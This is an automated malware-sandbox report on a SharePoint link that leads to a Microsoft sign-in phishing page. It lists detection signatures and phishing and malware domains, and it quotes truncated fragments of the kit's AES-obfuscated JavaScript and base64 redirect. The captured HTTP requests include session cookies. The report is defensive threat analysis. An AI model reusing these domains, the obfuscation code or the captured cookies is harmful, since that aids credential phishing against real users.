Play interactive tourCreate Interactive Tour

Windows Analysis Report
https://lsscleancom-my.sharepoint.com/:f:/g/personal/kenlo_lssclean_com/EhnR6xetq2dAuMrc9U21jwcBJzCdAGjvCuP0qUViMdaBIQ?e=0YIDjA__;!!Dhw9WWooB8bE!tAdRWoDVFYP2IeTWlIzG7WWn-9rmQ8Bcj1TAwSQFkHEKEKRRtghV6HUuVp2qt0crTG1LxmWitv2uFE_jVwUp17lshg$

Overview

General Information

Sample URL:	https://lsscleancom-my.sharepoint.com/:f:/g/personal/kenlo_lssclean_com/EhnR6xetq2dAuMrc9U21jwcBJzCdAGjvCuP0qUViMdaBIQ?e=0YIDjA__;!!Dhw9WWooB8bE!tAdRWoDVFYP2IeTWlIzG7WWn-9rmQ8Bcj1TAwSQFkHEKEKRRtghV6HU
Analysis ID:	1597067
Infos:

Detection

Gabagool

Score:	76
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Antivirus detection for URL or domain

Yara detected Gabagool

AI detected landing page (webpage, office document or email)

HTML page contains hidden URLs

HTML page contains suspicious javascript code

Detected non-DNS traffic on DNS port

Drops files with a non-matching file extension (content does not match file extension)

HTML body contains low number of good links

HTML body with high number of embedded images detected

HTML page contains hidden javascript code

HTML title does not match URL

Javascript checks online IP of machine

Stores files to the Windows start menu directory

Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

Classification

×

Joe Sandbox Signatures

• • AV Detection
• • Phishing
• • Networking
• • System Summary
• • Persistence and Installation Behavior
• • Boot Survival
• • Malware Analysis System Evasion

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://accessmsf36523fbea8e5a722c2c84104ec322c2c841049ec2a314c01212025.us-east-1.linodeobjects.com/favicon.ico	Avira URL Cloud: Label: phishing
Source: https://accessmsf36523fbea8e5a722c2c84104ec322c2c841049ec2a314c01212025.us-east-1.linodeobjects.com/	Avira URL Cloud: Label: phishing
Source: https://o365.qazqwertyuiop999.com/	Avira URL Cloud: Label: malware

Phishing

AI detected phishing page

Source: https://accessmsf36523fbea8e5a722c2c84104ec322c2c841049ec2a314c01212025.us-east-1.linodeobjects.com/0ndreivemail0.html

Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is well-known and typically associated with the domain 'microsoft.com'., The URL provided is hosted on 'linodeobjects.com', which is not associated with Microsoft., The URL contains a long string of random characters, which is a common tactic used in phishing URLs to obfuscate the true nature of the site., The use of a cloud service provider (linodeobjects.com) with a subdomain that does not match Microsoft's legitimate domain is suspicious., The input fields (Email, phone, or Skype) are typical targets for phishing attempts, especially when associated with Microsoft services. DOM: 3.9.pages.csv

Yara detected Gabagool

Source: Yara match

File source: 3.9.pages.csv, type: HTML

AI detected landing page (webpage, office document or email)

Source: https://accessmsf36523fbea8e5a722c2c84104ec322c2c841049ec2a314c01212025.us-east-1.linodeobjects.com/0ndreivemail0.html

Joe Sandbox AI: Page contains button: 'VIEW DOCUMENT' Source: '3.6.pages.csv'

HTML page contains hidden URLs

Source: https://accessmsf36523fbea8e5a722c2c84104ec322c2c841049ec2a314c01212025.us-east-1.linodeobjects.com/0ndreivemail0.html

HTTP Parser: https://o365.qazqwertyuiop999.com

HTML page contains suspicious javascript code

Source: https://armalybrarnds.com/002/

HTTP Parser: window.location.href = atob(

HTML body contains low number of good links

Source: https://accessmsf36523fbea8e5a722c2c84104ec322c2c841049ec2a314c01212025.us-east-1.linodeobjects.com/0ndreivemail0.html

HTTP Parser: Number of links: 0

HTML body with high number of embedded images detected

Source: https://accessmsf36523fbea8e5a722c2c84104ec322c2c841049ec2a314c01212025.us-east-1.linodeobjects.com/0ndreivemail0.html

HTTP Parser: Total embedded image size: 45708

HTML page contains hidden javascript code

Source: https://accessmsf36523fbea8e5a722c2c84104ec322c2c841049ec2a314c01212025.us-east-1.linodeobjects.com/0ndreivemail0.html

HTTP Parser: Base64 decoded: https://o365.qazqwertyuiop999.com

HTML title does not match URL

Source: https://accessmsf36523fbea8e5a722c2c84104ec322c2c841049ec2a314c01212025.us-east-1.linodeobjects.com/0ndreivemail0.html

HTTP Parser: Title: Account sign in does not match URL

Javascript checks online IP of machine

Source: https://armalybrarnds.com/002/

HTTP Parser: let current_ip = null;function ez2yd(plaintext, key) { const keysize = [16, 24, 32]; if (!keysize.includes(key.length)) { throw new error("incorrect aes key length. use a 16, 24, or 32 bytes key."); } // generate a random iv (initialization vector) const iv = cryptojs.lib.wordarray.random(16); // encrypt the plain text using aes with the given key and random iv const encrypted = cryptojs.aes.encrypt(cryptojs.enc.utf8.parse(plaintext), cryptojs.enc.utf8.parse(key), { iv: iv, mode: cryptojs.mode.cbc, padding: cryptojs.pad.pkcs7 }); // combine the iv and ciphertext (iv is necessary for decryption) const encrypteddata = iv.concat(encrypted.ciphertext); // convert the combined data to base64 for easy transmission or storage return cryptojs.enc.base64.stringify(encrypteddata);}let psk = "onasovosn0crzhprezucufrsmvlm2dw4zwzq986dgji9wubll5xgtriy/q4547iscsfm08obhexyuz2yfb+kug==";async function xfhxg() { try { const response = await fetch("https:/...

Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

Source: https://armalybrarnds.com/002/

HTTP Parser: let usuuid = "onasovosn0crzhprezucufrsmvlm2dw4zwzq986dgji9wubll5xgtriy/q4547iscsfm08obhexyuz2yfb+kug=="; let policy = "upuzk3v1wmmg4smcmrth+iwguj+xni5+maonwpam1izqglrkwfaq5w/rwynrdwxqijcn2bg9oibifdbeoudvdw==";let sv = "0"; let sir = "1"; function decstr(encryptedstring, key) { const keysize = [16, 24, 32]; if (!keysize.includes(key.length)) { throw new error("incorrect aes key length. use a 16, 24, or 32 bytes key."); } const encrypteddata = cryptojs.enc.base64.parse(encryptedstring); const iv = cryptojs.lib.wordarray.create(encrypteddata.words.slice(0, 4)); const ciphertext = cryptojs.lib.wordarray.create( encrypteddata.words.slice(4) ); const decrypteddata = cryptojs.aes.decrypt( { ciphertext: ciphertext, }, ...

HTML page is missing a favicon

Source: https://accessmsf36523fbea8e5a722c2c84104ec322c2c841049ec2a314c01212025.us-east-1.linodeobjects.com/0ndreivemail0.html	HTTP Parser: No favicon
Source: https://accessmsf36523fbea8e5a722c2c84104ec322c2c841049ec2a314c01212025.us-east-1.linodeobjects.com/0ndreivemail0.html	HTTP Parser: No favicon
Source: https://accessmsf36523fbea8e5a722c2c84104ec322c2c841049ec2a314c01212025.us-east-1.linodeobjects.com/0ndreivemail0.html	HTTP Parser: No favicon
Source: https://accessmsf36523fbea8e5a722c2c84104ec322c2c841049ec2a314c01212025.us-east-1.linodeobjects.com/0ndreivemail0.html	HTTP Parser: No favicon

META author tag missing

Source: https://accessmsf36523fbea8e5a722c2c84104ec322c2c841049ec2a314c01212025.us-east-1.linodeobjects.com/0ndreivemail0.html

HTTP Parser: No <meta name="author".. found

META copyright tag missing

Source: https://accessmsf36523fbea8e5a722c2c84104ec322c2c841049ec2a314c01212025.us-east-1.linodeobjects.com/0ndreivemail0.html

HTTP Parser: No <meta name="copyright".. found

Networking

Detected non-DNS traffic on DNS port

Source: global traffic	TCP traffic: 192.168.2.5:57815 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.5:52780 -> 162.159.36.2:53

Connects to IPs without corresponding DNS lookups

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Downloads files from webservers via HTTP

Source: global traffic	HTTP traffic detected: GET /:f:/g/personal/kenlo_lssclean_com/EhnR6xetq2dAuMrc9U21jwcBJzCdAGjvCuP0qUViMdaBIQ?e=0YIDjA__;!!Dhw9WWooB8bE!tAdRWoDVFYP2IeTWlIzG7WWn-9rmQ8Bcj1TAwSQFkHEKEKRRtghV6HUuVp2qt0crTG1LxmWitv2uFE_jVwUp17lshg$ HTTP/1.1Host: lsscleancom-my.sharepoint.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /personal/kenlo_lssclean_com/_layouts/15/onedrive.aspx?id=%2Fpersonal%2Fkenlo%5Flssclean%5Fcom%2FDocuments%2FTAXING%20SOLUTIONS%20INC&ga=1 HTTP/1.1Host: lsscleancom-my.sharepoint.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjE0LDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2EyOGQ0ZGNiZjA3MGQwOTZjMWRjZTQ5N2U3N2M1NjM5MjE0MDNkNWM5MGUzMzAwZjYyMjY4NTE0YjZiOGVmNDcsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYTI4ZDRkY2JmMDcwZDA5NmMxZGNlNDk3ZTc3YzU2MzkyMTQwM2Q1YzkwZTMzMDBmNjIyNjg1MTRiNmI4ZWY0NywxMzM4MjA1NTg0OTAwMDAwMDAsMCwxMzM4MjE0MTk1MDAzODE1NDUsMC4wLjAuMCwyNTgsMzM2ZDIxYTgtZTRiMy00NDRiLTg0ZjAtNGFhOTJjM2ViN2MwLCwsNGZjM2YyNmItOTU3NS00MWVmLTkxMTgtYmNkOWY1ZDlhZjVjLDRmYzNmMjZiLTk1NzUtNDFlZi05MTE4LWJjZDlmNWQ5YWY1YyxTUmJLSlVHK3ZrbTVXKy9aSGY5bnVBLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTQwNDQsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLGZBYzlYMzBBS015STFXVWtRQnY4dUdFcnllayxsSGpmUnljRUM3ZVpxVHJZZmhzWEdleEYzbytLeEZEdlhQNGp4UHl6ZUtNQnVxb2g4S3paMzNhMkJ6b3p3TWdDS0MvRGxFa1JabnRTUXpEaXdublNOYS9qT0RRUVhWSmRuS0tDTVhBUjI1TEJqWFRraVR2dFg0SHh5ZTV0d3RDRGhjNWw0SFkzU09BTEZSTXVraTdJaGJ3QmN6VWZNRjNHVmZFTFkzc3JkNXdwbVlmTHFSc011cXpSd3Nma09naFN5YkROM3FQbFN4cmZVUER0YVhwTC9iVXRLalkrSUJNRVBFSDBRVWhpZzlKK3hyZjRYUHhaenJLcFRQUkd6YVkxbGowZGtGNTNUcmNRSTBoRVFGQ2lpY1Y2WENURFFQZ3JTV3dKcDdmaFpHK2xEczZaeFNpZ0lUakU0ZkdJd2VlNVd5cGZubVlZUzVBWXRUb21UQ0hUVVE9PTwvU1A+
Source: global traffic	HTTP traffic detected: GET /_layouts/15/spwebworkerproxy.ashx HTTP/1.1Host: lsscleancom-my.sharepoint.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjE0LDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2EyOGQ0ZGNiZjA3MGQwOTZjMWRjZTQ5N2U3N2M1NjM5MjE0MDNkNWM5MGUzMzAwZjYyMjY4NTE0YjZiOGVmNDcsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYTI4ZDRkY2JmMDcwZDA5NmMxZGNlNDk3ZTc3YzU2MzkyMTQwM2Q1YzkwZTMzMDBmNjIyNjg1MTRiNmI4ZWY0NywxMzM4MjA1NTg0OTAwMDAwMDAsMCwxMzM4MjE0MTk1MDAzODE1NDUsMC4wLjAuMCwyNTgsMzM2ZDIxYTgtZTRiMy00NDRiLTg0ZjAtNGFhOTJjM2ViN2MwLCwsNGZjM2YyNmItOTU3NS00MWVmLTkxMTgtYmNkOWY1ZDlhZjVjLDRmYzNmMjZiLTk1NzUtNDFlZi05MTE4LWJjZDlmNWQ5YWY1YyxTUmJLSlVHK3ZrbTVXKy9aSGY5bnVBLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTQwNDQsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLGZBYzlYMzBBS015STFXVWtRQnY4dUdFcnllayxsSGpmUnljRUM3ZVpxVHJZZmhzWEdleEYzbytLeEZEdlhQNGp4UHl6ZUtNQnVxb2g4S3paMzNhMkJ6b3p3TWdDS0MvRGxFa1JabnRTUXpEaXdublNOYS9qT0RRUVhWSmRuS0tDTVhBUjI1TEJqWFRraVR2dFg0SHh5ZTV0d3RDRGhjNWw0SFkzU09BTEZSTXVraTdJaGJ3QmN6VWZNRjNHVmZFTFkzc3JkNXdwbVlmTHFSc011cXpSd3Nma09naFN5YkROM3FQbFN4cmZVUER0YVhwTC9iVXRLalkrSUJNRVBFSDBRVWhpZzlKK3hyZjRYUHhaenJLcFRQUkd6YVkxbGowZGtGNTNUcmNRSTBoRVFGQ2lpY1Y2WENURFFQZ3JTV3dKcDdmaFpHK2xEczZaeFNpZ0lUakU0ZkdJd2VlNVd5cGZubVlZUzVBWXRUb21UQ0hUVVE9PTwvU1A+
Source: global traffic	HTTP traffic detected: GET /_layouts/15/spwebworkerproxy.ashx HTTP/1.1Host: lsscleancom-my.sharepoint.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjE0LDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2EyOGQ0ZGNiZjA3MGQwOTZjMWRjZTQ5N2U3N2M1NjM5MjE0MDNkNWM5MGUzMzAwZjYyMjY4NTE0YjZiOGVmNDcsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYTI4ZDRkY2JmMDcwZDA5NmMxZGNlNDk3ZTc3YzU2MzkyMTQwM2Q1YzkwZTMzMDBmNjIyNjg1MTRiNmI4ZWY0NywxMzM4MjA1NTg0OTAwMDAwMDAsMCwxMzM4MjE0MTk1MDAzODE1NDUsMC4wLjAuMCwyNTgsMzM2ZDIxYTgtZTRiMy00NDRiLTg0ZjAtNGFhOTJjM2ViN2MwLCwsNGZjM2YyNmItOTU3NS00MWVmLTkxMTgtYmNkOWY1ZDlhZjVjLDRmYzNmMjZiLTk1NzUtNDFlZi05MTE4LWJjZDlmNWQ5YWY1YyxTUmJLSlVHK3ZrbTVXKy9aSGY5bnVBLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTQwNDQsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLGZBYzlYMzBBS015STFXVWtRQnY4dUdFcnllayxsSGpmUnljRUM3ZVpxVHJZZmhzWEdleEYzbytLeEZEdlhQNGp4UHl6ZUtNQnVxb2g4S3paMzNhMkJ6b3p3TWdDS0MvRGxFa1JabnRTUXpEaXdublNOYS9qT0RRUVhWSmRuS0tDTVhBUjI1TEJqWFRraVR2dFg0SHh5ZTV0d3RDRGhjNWw0SFkzU09BTEZSTXVraTdJaGJ3QmN6VWZNRjNHVmZFTFkzc3JkNXdwbVlmTHFSc011cXpSd3Nma09naFN5YkROM3FQbFN4cmZVUER0YVhwTC9iVXRLalkrSUJNRVBFSDBRVWhpZzlKK3hyZjRYUHhaenJLcFRQUkd6YVkxbGowZGtGNTNUcmNRSTBoRVFGQ2lpY1Y2WENURFFQZ3JTV3dKcDdmaFpHK2xEczZaeFNpZ0lUakU0ZkdJd2VlNVd5cGZubVlZUzVBWXRUb21UQ0hUVVE9PTwvU1A+
Source: global traffic	HTTP traffic detected: GET /personal/kenlo_lssclean_com/_api/v2.1/graphql HTTP/1.1Host: lsscleancom-my.sharepoint.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjE0LDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2EyOGQ0ZGNiZjA3MGQwOTZjMWRjZTQ5N2U3N2M1NjM5MjE0MDNkNWM5MGUzMzAwZjYyMjY4NTE0YjZiOGVmNDcsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYTI4ZDRkY2JmMDcwZDA5NmMxZGNlNDk3ZTc3YzU2MzkyMTQwM2Q1YzkwZTMzMDBmNjIyNjg1MTRiNmI4ZWY0NywxMzM4MjA1NTg0OTAwMDAwMDAsMCwxMzM4MjE0MTk1MDAzODE1NDUsMC4wLjAuMCwyNTgsMzM2ZDIxYTgtZTRiMy00NDRiLTg0ZjAtNGFhOTJjM2ViN2MwLCwsNGZjM2YyNmItOTU3NS00MWVmLTkxMTgtYmNkOWY1ZDlhZjVjLDRmYzNmMjZiLTk1NzUtNDFlZi05MTE4LWJjZDlmNWQ5YWY1YyxTUmJLSlVHK3ZrbTVXKy9aSGY5bnVBLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTQwNDQsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLGZBYzlYMzBBS015STFXVWtRQnY4dUdFcnllayxsSGpmUnljRUM3ZVpxVHJZZmhzWEdleEYzbytLeEZEdlhQNGp4UHl6ZUtNQnVxb2g4S3paMzNhMkJ6b3p3TWdDS0MvRGxFa1JabnRTUXpEaXdublNOYS9qT0RRUVhWSmRuS0tDTVhBUjI1TEJqWFRraVR2dFg0SHh5ZTV0d3RDRGhjNWw0SFkzU09BTEZSTXVraTdJaGJ3QmN6VWZNRjNHVmZFTFkzc3JkNXdwbVlmTHFSc011cXpSd3Nma09naFN5YkROM3FQbFN4cmZVUER0YVhwTC9iVXRLalkrSUJNRVBFSDBRVWhpZzlKK3hyZjRYUHhaenJLcFRQUkd6YVkxbGowZGtGNTNUcmNRSTBoRVFGQ2lpY1Y2WENURFFQZ3JTV3dKcDdmaFpHK2xEczZaeFNpZ0lUakU0ZkdJd2VlNVd5cGZubVlZUzVBWXRUb21UQ0hUVVE9PTwvU1A+
Source: global traffic	HTTP traffic detected: GET /_layouts/15/images/odbfavicon.ico?rev=47 HTTP/1.1Host: lsscleancom-my.sharepoint.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://lsscleancom-my.sharepoint.com/personal/kenlo_lssclean_com/_layouts/15/onedrive.aspx?id=%2Fpersonal%2Fkenlo%5Flssclean%5Fcom%2FDocuments%2FTAXING%20SOLUTIONS%20INC&ga=1Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjE0LDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2EyOGQ0ZGNiZjA3MGQwOTZjMWRjZTQ5N2U3N2M1NjM5MjE0MDNkNWM5MGUzMzAwZjYyMjY4NTE0YjZiOGVmNDcsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYTI4ZDRkY2JmMDcwZDA5NmMxZGNlNDk3ZTc3YzU2MzkyMTQwM2Q1YzkwZTMzMDBmNjIyNjg1MTRiNmI4ZWY0NywxMzM4MjA1NTg0OTAwMDAwMDAsMCwxMzM4MjE0MTk1MDAzODE1NDUsMC4wLjAuMCwyNTgsMzM2ZDIxYTgtZTRiMy00NDRiLTg0ZjAtNGFhOTJjM2ViN2MwLCwsNGZjM2YyNmItOTU3NS00MWVmLTkxMTgtYmNkOWY1ZDlhZjVjLDRmYzNmMjZiLTk1NzUtNDFlZi05MTE4LWJjZDlmNWQ5YWY1YyxTUmJLSlVHK3ZrbTVXKy9aSGY5bnVBLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTQwNDQsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLGZBYzlYMzBBS015STFXVWtRQnY4dUdFcnllayxsSGpmUnljRUM3ZVpxVHJZZmhzWEdleEYzbytLeEZEdlhQNGp4UHl6ZUtNQnVxb2g4S3paMzNhMkJ6b3p3TWdDS0MvRGxFa1JabnRTUXpEaXdublNOYS9qT0RRUVhWSmRuS0tDTVhBUjI1TEJqWFRraVR2dFg0SHh5ZTV0d3RDRGhjNWw0SFkzU09BTEZSTXVraTdJaGJ3QmN6VWZNRjNHVmZFTFkzc3JkNXdwbVlmTHFSc011cXpSd3Nma09naFN5YkROM3FQbFN4cmZVUER0YVhwTC9iVXRLalkrSUJNRVBFSDBRVWhpZzlKK3hyZjRYUHhaenJLcFRQUkd6YVkxbGowZGtGNTNUcmNRSTBoRVFGQ2lpY1Y2WENURFFQZ3JTV3dKcDdmaFpHK2xEczZaeFNpZ0lUakU0ZkdJd2VlNVd5cGZubVlZUzVBWXRUb21UQ0hUVVE9PTwvU1A+
Source: global traffic	HTTP traffic detected: GET /_layouts/15/images/odbfavicon.ico?rev=47 HTTP/1.1Host: lsscleancom-my.sharepoint.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjE0LDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2EyOGQ0ZGNiZjA3MGQwOTZjMWRjZTQ5N2U3N2M1NjM5MjE0MDNkNWM5MGUzMzAwZjYyMjY4NTE0YjZiOGVmNDcsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYTI4ZDRkY2JmMDcwZDA5NmMxZGNlNDk3ZTc3YzU2MzkyMTQwM2Q1YzkwZTMzMDBmNjIyNjg1MTRiNmI4ZWY0NywxMzM4MjA1NTg0OTAwMDAwMDAsMCwxMzM4MjE0MTk1MDAzODE1NDUsMC4wLjAuMCwyNTgsMzM2ZDIxYTgtZTRiMy00NDRiLTg0ZjAtNGFhOTJjM2ViN2MwLCwsNGZjM2YyNmItOTU3NS00MWVmLTkxMTgtYmNkOWY1ZDlhZjVjLDRmYzNmMjZiLTk1NzUtNDFlZi05MTE4LWJjZDlmNWQ5YWY1YyxTUmJLSlVHK3ZrbTVXKy9aSGY5bnVBLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTQwNDQsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLGZBYzlYMzBBS015STFXVWtRQnY4dUdFcnllayxsSGpmUnljRUM3ZVpxVHJZZmhzWEdleEYzbytLeEZEdlhQNGp4UHl6ZUtNQnVxb2g4S3paMzNhMkJ6b3p3TWdDS0MvRGxFa1JabnRTUXpEaXdublNOYS9qT0RRUVhWSmRuS0tDTVhBUjI1TEJqWFRraVR2dFg0SHh5ZTV0d3RDRGhjNWw0SFkzU09BTEZSTXVraTdJaGJ3QmN6VWZNRjNHVmZFTFkzc3JkNXdwbVlmTHFSc011cXpSd3Nma09naFN5YkROM3FQbFN4cmZVUER0YVhwTC9iVXRLalkrSUJNRVBFSDBRVWhpZzlKK3hyZjRYUHhaenJLcFRQUkd6YVkxbGowZGtGNTNUcmNRSTBoRVFGQ2lpY1Y2WENURFFQZ3JTV3dKcDdmaFpHK2xEczZaeFNpZ0lUakU0ZkdJd2VlNVd5cGZubVlZUzVBWXRUb21UQ0hUVVE9PTwvU1A+
